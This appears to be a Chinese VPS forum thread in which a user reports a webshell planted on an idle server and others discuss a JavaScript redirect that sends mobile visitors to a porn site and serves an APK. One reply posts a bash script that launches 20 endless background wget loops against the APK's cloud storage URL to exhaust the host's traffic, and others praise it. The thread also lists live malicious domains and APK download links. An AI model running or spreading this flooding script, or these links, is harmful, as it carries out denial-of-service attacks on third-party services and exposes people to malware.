吃灰小鸡被挂马文件找到了大佬看下这个文件能干啥

cxmiao · 发表于 2021-1-13 19:53:12

就是一个的大马

jqbaobao · 发表于 2021-1-13 19:56:28

本帖最后由 jqbaobao 于 2021-1-13 19:57 编辑

yxmss 发表于 2021-1-13 19:23
那个js代码的作用是判断移动端设备跳转到http://1pvwjv1p.0avr4s.cn（PC端打不开，移动打开以后是H网） ...

那这个要怎么cc呢，换ua吗
【https://apkpej86unv.shzxfdc.com.cn//dy120_cmm.apk 】

laon · 发表于 2021-1-13 20:10:48

jqbaobao 发表于 2021-1-13 19:56
那这个要怎么cc呢，换ua吗
【https://apkpej86unv.shzxfdc.com.cn//dy120_cmm.apk 】

他挂了CDN的，直接刷他的流量或者OSS

red233 · 发表于 2021-1-13 20:19:09

提示: 作者被禁止或删除内容自动屏蔽

三和大神 · 发表于 2021-1-13 20:30:44

echo "while [ 1 ]" > _ins.sh
echo "do" >> _ins.sh
echo "wget -q -t0 -O /dev/null https://apkpej86unv.oss-cn-beijing.aliyuncs.com/dy120_cmm.apk" >> _ins.sh
echo "done" >> _ins.sh
for i in `seq 1 20`
do
nohup bash _ins.sh > /dev/null 2>&1 &
echo "thread $i start!"
done

复制代码

skysf · 发表于 2021-1-13 20:52:47

三和大神发表于 2021-1-13 20:30
之前某位MJJ论坛发的剑皇Bash脚本

这玩意启动了咋停止啊

ddane · 发表于 2021-1-13 20:58:16

三和大神发表于 2021-1-13 20:30
之前某位MJJ论坛发的剑皇Bash脚本

哈哈真贴心收藏了

Winter · 发表于 2021-1-14 13:53:24

小鸡不行，20线程就爆CPU了

MSN · 发表于 2021-1-14 14:16:04

laon 发表于 2021-1-13 04:19
给我跳H网了，H网还用的阿里云CDN，我在剑皇了

替我打500块钱的

Mrvps · 发表于 2021-1-14 14:19:57

提示: 作者被禁止或删除内容自动屏蔽

		自动登录	找回密码
密码			注册

red233 red233 当前离线积分 5332	发表于 2021-1-13 20:19:09 来自手机 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
red233 red233 当前离线积分 5332
	回复支持反对举报

Mrvps Mrvps 当前离线积分 10323	发表于 2021-1-14 14:19:57 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
Mrvps Mrvps 当前离线积分 10323
	回复支持反对举报

吃灰小鸡被挂马 文件找到了 大佬看下这个文件能干啥